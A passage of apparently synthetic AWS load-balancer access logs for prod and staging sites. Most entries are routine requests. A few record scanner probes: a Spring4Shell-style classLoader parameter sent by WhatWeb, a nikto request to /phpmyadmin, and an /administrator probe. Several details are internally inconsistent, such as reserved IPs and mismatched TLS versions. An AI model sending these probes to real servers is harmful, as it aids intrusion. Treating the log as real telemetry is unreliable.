(KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc16-ad1e584e1a604b5bbdbd390e" "staging-alb.example.com" "-" 4 2024-11-01T00:19:18.073661Z "forward" "-" "-" "41.46.222.175:443" "200" "-" "-" +https 2024-11-01T00:19:19.166624Z prod-api-alb 159.66.211.87:38730 10.0.112.231:443 0.019872 0.342969 0.009397 200 200 608 639 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc17-184dbc88d39541bb98c2058e" "prod-api-alb.example.com" "-" 2 2024-11-01T00:19:19.166624Z "forward" "-" "-" "10.0.112.231:443" "200" "-" "-" +https 2024-11-01T00:19:19.298215Z prod-web-alb 72.154.208.236:12528 10.0.103.192:443 0.006321 0.100606 0.031119 200 200 31 14726 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc17-3720d6be0d8d43beb2d29828" "prod-web-alb.example.com" "-" 6 2024-11-01T00:19:19.298215Z "forward" "-" "-" "10.0.103.192:443" "200" "-" "-" +https 2024-11-01T00:19:20.638096Z prod-api-alb 109.224.149.199:50987 10.0.161.149:443 0.079790 0.255147 0.059200 200 200 10 10514 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc18-c0fa719a7d4147c29ca0184a" "prod-api-alb.example.com" "-" 7 2024-11-01T00:19:20.638096Z "forward" "-" "-" "10.0.161.149:443" "200" "-" "-" +https 2024-11-01T00:19:20.967715Z prod-web-alb 254.44.79.172:54662 10.0.164.28:443 0.069123 0.324109 0.024427 200 200 502 11305 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc18-0449ddc887a34312ae31cf01" "prod-web-alb.example.com" "-" 2 2024-11-01T00:19:20.967715Z "forward" "-" "-" "10.0.164.28:443" "200" "-" "-" +https 2024-11-01T00:19:21.079241Z prod-web-alb 11.36.80.51:18289 10.0.215.82:443 0.050859 0.349408 0.047561 302 302 774 3683 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc19-57df994932c34d5498b7c34d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:19:21.079241Z "forward" "-" "-" "10.0.215.82:443" "302" "-" "-" +https 2024-11-01T00:19:22.076679Z prod-api-alb 72.234.224.217:51739 10.0.255.156:443 0.080941 0.190121 0.097501 200 200 143 7448 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc1a-1b5640f4cc604748ac2b92be" "prod-api-alb.example.com" "-" 1 2024-11-01T00:19:22.076679Z "forward" "-" "-" "10.0.255.156:443" "200" "-" "-" +https 2024-11-01T00:19:23.483493Z staging-alb 51.222.108.117:12023 16.186.30.56:8080 0.124823 0.577256 0.003257 200 200 42 5580 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc1b-9d33d33fc8da47b98d8d5226" "staging-alb.example.com" "-" 3 2024-11-01T00:19:23.483493Z "forward" "-" "-" "16.186.30.56:8080" "200" "-" "-" +https 2024-11-01T00:19:23.953493Z prod-web-alb 104.159.150.8:36554 10.0.12.72:443 0.021344 0.188038 0.020095 200 200 742 9623 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc1b-0070bcddd0d24f5dbea6a9bb" "prod-web-alb.example.com" "-" 3 2024-11-01T00:19:23.953493Z "forward" "-" "-" "10.0.12.72:443" "200" "-" "-" +https 2024-11-01T00:19:24.441936Z prod-api-alb 105.138.137.218:55883 10.0.120.247:443 0.086678 0.217246 0.096419 404 404 522 12963 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc1c-dc7135f1f55a46ef909fc366" "prod-api-alb.example.com" "-" 8 2024-11-01T00:19:24.441936Z "forward" "-" "-" "10.0.120.247:443" "404" "-" "-" +https 2024-11-01T00:19:26.183096Z prod-web-alb 241.33.53.241:29445 10.0.218.153:443 0.067388 0.251767 0.039657 200 200 733 9247 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc1e-5aa3eac09d004e9cbe0a458c" "prod-web-alb.example.com" "-" 0 2024-11-01T00:19:26.183096Z "forward" "-" "-" "10.0.218.153:443" "200" "-" "-" +https 2024-11-01T00:19:27.958545Z prod-api-alb 85.179.57.87:37252 10.0.71.98:443 0.027148 0.025232 0.037792 200 200 751 1194 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc1f-a10d6b2b8c5d4cb5be48fe30" "prod-api-alb.example.com" "-" 10 2024-11-01T00:19:27.958545Z "forward" "-" "-" "10.0.71.98:443" "200" "-" "-" +https 2024-11-01T00:19:29.087323Z prod-api-alb 147.198.171.168:39937 10.0.60.100:443 0.054856 0.275366 0.038083 200 200 517 6452 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc21-7f7b393946854bc49eb9e41a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:19:29.087323Z "forward" "-" "-" "10.0.60.100:443" "200" "-" "-" +https 2024-11-01T00:19:29.637820Z staging-alb 138.220.228.97:23700 112.255.233.94:8080 0.020179 0.732211 0.113974 200 200 449 5546 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc21-cc6b7850647c41d985ec68b9" "staging-alb.example.com" "-" 0 2024-11-01T00:19:29.637820Z "forward" "-" "-" "112.255.233.94:8080" "200" "-" "-" +https 2024-11-01T00:19:29.857249Z staging-alb 45.155.205.9:59104 233.241.241.44:80 0.083975 0.483017 0.086206 404 404 519 295 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc21-64de5ab2eb14413b9fffacc0" "-" "-" 9 2024-11-01T00:19:29.857249Z "forward" "-" "-" "233.241.241.44:80" "404" "-" "-" +https 2024-11-01T00:19:30.239577Z prod-api-alb 247.49.169.66:59201 10.0.181.219:443 0.050866 0.489198 0.026477 302 302 756 8551 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc22-8b1fa43f97b5491f97da3df1" "prod-api-alb.example.com" "-" 7 2024-11-01T00:19:30.239577Z "forward" "-" "-" "10.0.181.219:443" "302" "-" "-" +https 2024-11-01T00:19:31.387264Z prod-api-alb 37.39.128.80:11469 10.0.239.91:443 0.066121 0.324262 0.078566 404 404 214 2559 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc23-cacb49f34dff431dbce64571" "prod-api-alb.example.com" "-" 0 2024-11-01T00:19:31.387264Z "forward" "-" "-" "10.0.239.91:443" "404" "-" "-" +https 2024-11-01T00:19:33.232849Z prod-web-alb 185.181.55.98:62375 10.0.39.57:443 0.024235 0.364916 0.021948 301 301 548 1350 "POST /phpmyadmin HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc25-1b66c88685e249a49f2861c3" "-" "-" 8 2024-11-01T00:19:33.232849Z "forward" "-" "-" "10.0.39.57:443" "301" "-" "-" +https 2024-11-01T00:19:33.475022Z prod-web-alb 174.197.215.75:10194 10.0.68.177:443 0.079791 0.178678 0.019945 404 404 588 14821 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc25-18d7fc5824e3493580dfe2eb" "prod-web-alb.example.com" "-" 2 2024-11-01T00:19:33.475022Z "forward" "-" "-" "10.0.68.177:443" "404" "-" "-" +https 2024-11-01T00:19:34.104764Z prod-web-alb 254.54.81.190:16117 10.0.152.156:443 0.071648 0.402411 0.038215 301 301 142 997 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc26-0e199069f6c24956a2675ae9" "prod-web-alb.example.com" "-" 3 2024-11-01T00:19:34.104764Z "forward" "-" "-" "10.0.152.156:443" "301" "-" "-" +https 2024-11-01T00:19:34.906875Z staging-alb 76.61.214.191:29664 178.202.176.97:443 0.045939 0.474172 0.102547 301 301 702 3991 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc26-c4f7a4534a7143f7ac19b070" "staging-alb.example.com" "-" 10 2024-11-01T00:19:34.906875Z "forward" "-" "-" "178.202.176.97:443" "301" "-" "-" +https 2024-11-01T00:19:35.880780Z prod-api-alb 206.104.34.174:38319 10.0.97.65:443 0.078040 0.167389 0.003053 200 200 429 11557 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc27-a615a70f831543899d2a7dd7" "prod-api-alb.example.com" "-" 9 2024-11-01T00:19:35.880780Z "forward" "-" "-" "10.0.97.65:443" "200" "-" "-" +https 2024-11-01T00:19:37.447967Z prod-api-alb 146.156.2.128:18592 10.0.73.247:443 0.006873 0.342453 0.073238 301 301 548 8139 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc29-83078c9f25dc40968f3fa488" "prod-api-alb.example.com" "-" 7 2024-11-01T00:19:37.447967Z "forward" "-" "-" "10.0.73.247:443" "301" "-" "-" +https 2024-11-01T00:19:39.340304Z prod-api-alb 48.232.100.167:24106 10.0.116.33:443 0.055303 0.189144 0.052716 200 200 577 13078 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc2b-013e8c743f844ec5821de753" "prod-api-alb.example.com" "-" 5 2024-11-01T00:19:39.340304Z "forward" "-" "-" "10.0.116.33:443" "200" "-" "-" +http 2024-11-01T00:19:39.776178Z staging-alb 77.68.60.141:24267 188.217.46.174:8080 0.071418 0.198400 0.110068 200 200 528 9781 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc2b-6947a08d7d7e4a299fa52061" "staging-alb.example.com" "-" 7 2024-11-01T00:19:39.776178Z "forward" "-" "-" "188.217.46.174:8080" "200" "-" "-" +https 2024-11-01T00:19:40.155562Z prod-api-alb 151.25.159.13:48246 10.0.183.211:443 0.067986 0.488739 0.039896 200 200 966 9914 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc2c-91e18f816caf4e73a7a8c1b2" "prod-api-alb.example.com" "-" 2 2024-11-01T00:19:40.155562Z "forward" "-" "-" "10.0.183.211:443" "200" "-" "-" +https 2024-11-01T00:19:40.933727Z prod-api-alb 61.85.144.192:43380 10.0.50.87:443 0.067010 0.447035 0.051430 301 301 331 13970 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc2c-30ac0b4414d74c378bee56ae" "prod-api-alb.example.com" "-" 4 2024-11-01T00:19:40.933727Z "forward" "-" "-" "10.0.50.87:443" "301" "-" "-" +https 2024-11-01T00:19:42.123146Z prod-web-alb 59.207.110.26:16409 10.0.220.45:443 0.029239 0.207852 0.062480 200 200 357 13116 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc2e-261e07cb4287472fb438a4b1" "prod-web-alb.example.com" "-" 6 2024-11-01T00:19:42.123146Z "forward" "-" "-" "10.0.220.45:443" "200" "-" "-" +http 2024-11-01T00:19:44.025342Z staging-alb 45.164.69.109:35490 254.140.67.104:443 0.107863 0.153267 0.110740 200 200 615 14687 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc30-83abe083f1244270a4a7dd19" "staging-alb.example.com" "-" 9 2024-11-01T00:19:44.025342Z "forward" "-" "-" "254.140.67.104:443" "200" "-" "-" +https 2024-11-01T00:19:45.295711Z prod-web-alb 88.72.71.200:43075 10.0.253.67:443 0.036408 0.408509 0.084335 302 302 269 13673 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc31-48b3ab94262d430e9ed8a399" "prod-web-alb.example.com" "-" 7 2024-11-01T00:19:45.295711Z "forward" "-" "-" "10.0.253.67:443" "302" "-" "-" +https 2024-11-01T00:19:47.095536Z staging-alb 151.22.196.215:41066 226.137.248.238:8080 0.035214 0.032311 0.023534 404 404 626 9064 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc33-e74b82741b874b3784e2c3b9" "staging-alb.example.com" "-" 1 2024-11-01T00:19:47.095536Z "forward" "-" "-" "226.137.248.238:8080" "404" "-" "-" +https 2024-11-01T00:19:48.906130Z staging-alb 203.78.255.59:38141 166.221.153.121:443 0.008545 0.611102 0.024212 404 404 676 2880 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc34-724277c8b4df4a1da4cef2d3" "staging-alb.example.com" "-" 8 2024-11-01T00:19:48.906130Z "forward" "-" "-" "166.221.153.121:443" "404" "-" "-" +https 2024-11-01T00:19:50.484805Z prod-api-alb 18.235.175.7:31541 10.0.46.16:443 0.048559 0.243676 0.012897 200 200 274 5521 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc36-eea8274adfa04bdea0fc62e4" "prod-api-alb.example.com" "-" 1 2024-11-01T00:19:50.484805Z "forward" "-" "-" "10.0.46.16:443" "200" "-" "-" +https 2024-11-01T00:19:52.184798Z prod-api-alb 86.145.6.201:12963 10.0.237.195:443 0.017132 0.199536 0.012371 301 301 612 4938 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc38-5f623e95cf4240df94096024" "prod-api-alb.example.com" "-" 4 2024-11-01T00:19:52.184798Z "forward" "-" "-" "10.0.237.195:443" "301" "-" "-" +https 2024-11-01T00:19:54.173333Z staging-alb 202.208.56.30:11627 140.115.122.41:8080 0.139607 0.444385 0.048294 404 404 20 8439 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc3a-c44578946c9741f395daae90" "staging-alb.example.com" "-" 10 2024-11-01T00:19:54.173333Z "forward" "-" "-" "140.115.122.41:8080" "404" "-" "-" +https 2024-11-01T00:19:54.800748Z prod-api-alb 161.31.21.150:35084 10.0.131.45:443 0.034134 0.485493 0.029710 200 200 964 14205 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc3a-a12a4dfecf114a11bf00f32f" "prod-api-alb.example.com" "-" 0 2024-11-01T00:19:54.800748Z "forward" "-" "-" "10.0.131.45:443" "200" "-" "-" +https 2024-11-01T00:19:56.682071Z prod-web-alb 93.147.21.22:51916 10.0.149.98:443 0.085072 0.311326 0.007463 200 200 693 8011 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc3c-97664f3b93f041728a722f1a" "prod-web-alb.example.com" "-" 2 2024-11-01T00:19:56.682071Z "forward" "-" "-" "10.0.149.98:443" "200" "-" "-" +https 2024-11-01T00:19:56.810034Z prod-web-alb 101.229.26.7:37485 10.0.232.19:443 0.091462 0.088361 0.026995 200 200 838 5057 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc3c-f8c590e578b64b42b9549772" "prod-web-alb.example.com" "-" 6 2024-11-01T00:19:56.810034Z "forward" "-" "-" "10.0.232.19:443" "200" "-" "-" +https 2024-11-01T00:19:57.787404Z prod-api-alb 235.76.67.10:36487 10.0.212.227:443 0.023474 0.460367 0.098584 302 302 683 8371 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc3d-7edac6a700ee4e41a1e7a452" "prod-api-alb.example.com" "-" 8 2024-11-01T00:19:57.787404Z "forward" "-" "-" "10.0.212.227:443" "302" "-" "-" +https 2024-11-01T00:19:59.595827Z prod-web-alb 114.63.82.9:16266 10.0.46.184:443 0.067776 0.432499 0.070318 200 200 621 13259 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc3f-3ea0261861a64bbd836c0119" "prod-web-alb.example.com" "-" 7 2024-11-01T00:19:59.595827Z "forward" "-" "-" "10.0.46.184:443" "200" "-" "-" +https 2024-11-01T00:20:00.333571Z prod-web-alb 193.27.228.87:56335 10.0.23.229:443 0.044081 0.437070 0.050819 301 301 376 5257 "GET /administrator HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc40-de08576d8b45490b994ffa16" "-" "-" 6 2024-11-01T00:20:00.333571Z "forward" "-" "-" "10.0.23.229:443" "301" "-" "-" +https 2024-11-01T00:20:01.313080Z staging-alb 119.235.157.13:27934 202.141.134.48:80 0.133343 0.743299 0.025265 404 404 674 5210 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc41-028d5f95970843b2a8e4d796" "staging-alb.example.com" "-" 1 2024-11-01T00:20:01.313080Z "forward" "-" "-" "202.141.134.48:80" "404" "-" "-" +https 2024-11-01T00:20:02.950218Z prod-api-alb 70.184.158.199:45476 10.0.59.175:443 0.046377 0.132046 0.057108 301 301 265 12268 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc42-5886625d21434f00b9c181a5" "prod-api-alb.example.com" "-" 10 2024-11-01T00:20:02.950218Z "forward" "-" "-" "10.0.59.175:443" "301" "-" "-" +http 2024-11-01T00:20:03.247856Z staging-alb 71.252.170.254:35798 155.165.140.136:443 0.001618 0.083899 0.002513 200 200 241 7570 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc43-4e59b0eb1114490ab5a56cbe" "staging-alb.example.com" "-" 8 2024-11-01T00:20:03.247856Z "forward" "-" "-" "155.165.140.136:443" "200" "-" "-" +https 2024-11-01T00:20:04.697720Z prod-api-alb 243.78.15.92:35794 10.0.168.247:443 0.088152 0.075559 0.017284 404 404 321 12477 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc44-16066cb2281442d1829d39b8" "prod-api-alb.example.com" "-" 8 2024-11-01T00:20:04.697720Z "forward" "-" "-" "10.0.168.247:443" "404" "-" "-" +https 2024-11-01T00:20:05.396484Z prod-api-alb 193.27.58.187:18035 10.0.182.11:443 0.046627 0.134818 0.072214 200 200 764 9047 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc45-753b021bd431456db0a12795" "prod-api-alb.example.com" "-" 4 2024-11-01T00:20:05.396484Z "forward" "-" "-" "10.0.182.11:443" "200" "-" "-" +https 2024-11-01T00:20:05.704966Z prod-web-alb 158.244.148.203:30018 10.0.240.70:443 0.052222 0.492431 0.029471 200 200 648 14046 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc45-228dc5539038417db0f9ea52" "prod-web-alb.example.com" "-" 5 2024-11-01T00:20:05.704966Z "forward" "-" "-" "10.0.240.70:443" "200" "-" "-" +https 2024-11-01T00:20:07.268740Z prod-api-alb 161.236.240.34:10188 10.0.202.220:443 0.017688 0.482997 